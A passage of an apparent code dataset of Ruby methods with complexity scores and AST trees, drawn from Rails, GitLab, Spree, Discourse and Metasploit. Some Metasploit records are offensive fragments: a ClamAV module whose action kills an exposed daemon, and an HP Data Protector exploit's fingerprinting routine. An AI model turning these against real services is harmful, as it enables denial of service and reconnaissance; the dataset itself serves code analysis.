'wvu' # GUIDANCE\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],\n [ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]\n ],\n 'DisclosureDate' => '2016-06-08',\n 'Actions' => [\n [ 'VERSION', 'Description' => 'Get Version Information' ],\n [ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]\n ],\n 'DefaultAction' => 'VERSION',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n register_options(\n [\n Opt::RPORT(3310)\n ], self.class\n )\n end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ClamAV Remote Command Transmitter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" In certain configurations, ClamAV will bind to all addresses and listen for commands.\\n\"]},{\"type\":\"str\",\"children\":[\" This module sends properly-formatted commands to the ClamAV daemon if it is in such a\\n\"]},{\"type\":\"str\",\"children\":[\" configuration.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alejandro Hdeza\"]},{\"type\":\"str\",\"children\":[\"bwatters-r7\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://twitter.com/nitr0usmx/status/740673507684679680/photo/1\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-06-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Get Version Information\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SHUTDOWN\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Kills ClamAV Daemon\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[3310]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"46da3fdf-163a-462b-9ee8-a2f4093cb9d9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/fileshare.rb","start_line":140,"raw_source":"def on_request_uri(cli, request)\n handle_response(cli, request.uri)\n rescue ::Rex::Post::Meterpreter::RequestError\n cli.send_response(create_response(500, 'Unknown error'))\n end","complexity_score":6.18,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"str\",\"children\":[\"Unknown error\"]}]}]}]},null]}]}","id":"188b32e1-f4a0-4d82-b7d9-8fe496527ae4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/authenticator.rb","start_line":155,"raw_source":"def encode_sequence_number\n bn = OpenSSL::BN.new(sequence_number.to_s)\n int = OpenSSL::ASN1::Integer.new(bn)\n\n int\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_sequence_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sequence_number\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"6c3b2fc4-f029-410b-9562-e3a2832ffbe6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/loose_foreign_key_helpers.rb","start_line":14,"raw_source":"def track_record_deletions(table_name)\n trigger_name = record_deletion_trigger_name(table_name)\n\n execute(<<~SQL.squish)\n CREATE TRIGGER #{trigger_name}\n AFTER DELETE ON #{table_name} REFERENCING OLD TABLE AS old_table\n FOR EACH STATEMENT\n EXECUTE FUNCTION #{INSERT_FUNCTION_NAME}();\n SQL\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_record_deletions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trigger_name\",{\"type\":\"send\",\"children\":[null,\"record_deletion_trigger_name\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AFTER DELETE ON \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" REFERENCING OLD TABLE AS old_table\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH STATEMENT\\n\"]},{\"type\":\"str\",\"children\":[\"EXECUTE FUNCTION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INSERT_FUNCTION_NAME\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]}]},\"squish\"]}]}]}]}","id":"9fc8ce44-1b47-4ce7-95df-58a6baf8d20a"} {"repo_name":"aasm","file_path":"./repos/aasm/spec/models/super_class.rb","start_line":13,"raw_source":"def update_state\n if may_foo?\n foo!\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"may_foo?\"]},{\"type\":\"send\",\"children\":[null,\"foo!\"]},null]}]}","id":"68f97696-316f-4182-8b3a-dac576ab0275"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/base.rb","start_line":159,"raw_source":"def without_trailling_slash(path)\n path ||= \"\"\n path[-1, 1] == \"/\" ? path[0..-2] : path\n end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"without_trailling_slash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"81ade339-11af-47fb-a1eb-f15967150981"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb","start_line":118,"raw_source":"def get_fingerprint\n ommni = connect\n ommni.put(rand_text_alpha_upper(64))\n resp = ommni.get_once(-1)\n disconnect\n\n if resp.nil?\n return nil\n end\n\n Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null\n end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"get_fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ommni\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ommni\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[64]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ommni\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_ascii\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]},\"chop\"]},\"chomp\"]}]}]}","id":"e57fdf03-88a4-40c4-8389-052dd5546fba"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140109205940_rename_favorites_to_starred.rb","start_line":4,"raw_source":"def up\n execute \"UPDATE site_settings SET name = 'max_stars_per_day' where name = 'max_favorites_per_day'\"\n execute \"UPDATE site_settings SET value = REPLACE(value, '|favorited', '|starred') where name = 'top_menu'\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET name = 'max_stars_per_day' where name = 'max_favorites_per_day'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET value = REPLACE(value, '|favorited', '|starred') where name = 'top_menu'\"]}]}]}]}","id":"c7791543-9d28-4ab6-abb5-91d53ddcd910"} {"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/checkout/advance.rb","start_line":6,"raw_source":"def call(order:, state: nil, shipping_method_id: nil)\n return failure(order) if state.present? && !order.has_checkout_step?(state)\n return success(order) if state.present? && order.passed_checkout_step?(state)\n\n old_state = order.state\n order_updater_ran = false\n\n # We need to check how many times we transitioned between checkout steps and return the error if no transition has been made\n # We'll always return an error when passing the `state` arg and not reaching the targeted state\n transitions_count = 0\n\n until cannot_make_transition?(order, state)\n next_result = Spree::Dependencies.checkout_next_service.constantize.call(order: order)\n return failure(order, order.errors) if next_result.failure? && (transitions_count.zero? || state.present?)\n\n transitions_count +=1\n\n # Quick Checkout with Google Pay not always sends events for shipping method selection\n # we have to check this after payment\n\n if order.delivery? &&\n shipping_method_id.present? &&\n order.shipments.count == 1 &&\n order.shipping_method.id != shipping_method_id\n\n result = Spree::Checkout::SelectShippingMethod.call(order: order, params: { shipping_method_id: shipping_method_id })\n\n # We're running the order update inside Spree::Checkout::SelectShippingMethod\n order_updater_ran = result.success?\n end\n end\n\n if order.state != old_state && !order_updater_ran\n order.updater.update_shipment_state\n order.updater.update_payment_state\n order.save! if order.changed?\n end\n\n success(order)\n end","complexity_score":76.18,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]},{\"type\":\"kwoptarg\",\"children\":[\"state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"shipping_method_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"has_checkout_step?\",{\"type\":\"lvar\",\"children\":[\"state\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"passed_checkout_step?\",{\"type\":\"lvar\",\"children\":[\"state\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"old_state\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"state\"]}]},{\"type\":\"lvasgn\",\"children\":[\"order_updater_ran\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"transitions_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot_make_transition?\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"checkout_next_service\"]},\"constantize\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_result\"]},\"failure?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transitions_count\"]},\"zero?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"present?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"errors\"]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transitions_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"delivery?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipping_method_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"shipments\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"shipping_method\"]},\"id\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"shipping_method_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Checkout\"]},\"SelectShippingMethod\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipping_method_id\"]},{\"type\":\"lvar\",\"children\":[\"shipping_method_id\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order_updater_ran\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"state\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"old_state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_updater_ran\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"updater\"]},\"update_shipment_state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"updater\"]},\"update_payment_state\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"save!\"]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]}","id":"e0edde14-0ef8-4f13-b394-691dd77e9d15"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":242,"raw_source":"def test_update_all_with_joins_and_offset_and_order\n comments = Comment.joins(:post).where(\"posts.id\" => posts(:welcome).id).order(\"comments.id\").offset(1)\n assert_equal 1, comments.count\n assert_equal 1, comments.update_all(post_id: posts(:thinking).id)\n assert_equal posts(:thinking), comments(:more_greetings).post\n assert_equal posts(:welcome), comments(:greetings).post\n end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_with_joins_and_offset_and_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"id\"]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"comments.id\"]}]},\"offset\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments\",{\"type\":\"sym\",\"children\":[\"more_greetings\"]}]},\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments\",{\"type\":\"sym\",\"children\":[\"greetings\"]}]},\"post\"]}]}]}]}","id":"141cf4f3-1196-4aa0-98a2-3ebd14ff3dcc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/git/repository.rb","start_line":204,"raw_source":"def try_add_credentials_to_netrc\n return unless add_credentials?\n return if netrc_already_contains_content?\n\n save_netrc_content\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_add_credentials_to_netrc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_credentials?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"netrc_already_contains_content?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"save_netrc_content\"]}]}]}","id":"e913c221-593e-401f-a5e2-a45e9e806017"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/amqp/version_0_9_1/frames.rb","start_line":123,"raw_source":"def initialize_instance\n super\n\n header.frame_type = 2\n end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\"]},\"frame_type=\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"4a12b304-e3d7-44fe-979a-edeecce32182"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking/standard_context.rb","start_line":80,"raw_source":"def tracked_user_id\n return unless user.is_a? User\n\n Gitlab::CryptoHelper.sha256(user.id)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"tracked_user_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CryptoHelper\"]},\"sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}","id":"d812f104-c915-403c-8440-9470ca7e16e6"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":173,"raw_source":"def call(env)\n target = env.target\n value = env.value\n halted = env.halted\n\n if !halted && user_conditions.all? { |c| c.call(target, value) }\n result_lambda = -> { user_callback.call target, value }\n env.halted = halted_lambda.call(target, result_lambda)\n if env.halted\n target.send :halted_callback_hook, filter, name\n end\n end\n\n env\n end","complexity_score":32.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"halted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"halted\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"halted\"]},\"!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_conditions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_lambda\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_callback\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"halted=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"halted_lambda\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"result_lambda\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"halted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"send\",{\"type\":\"sym\",\"children\":[\"halted_callback_hook\"]},{\"type\":\"send\",\"children\":[null,\"filter\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}","id":"3532d8d0-009f-4417-aa0f-c7334485e113"} 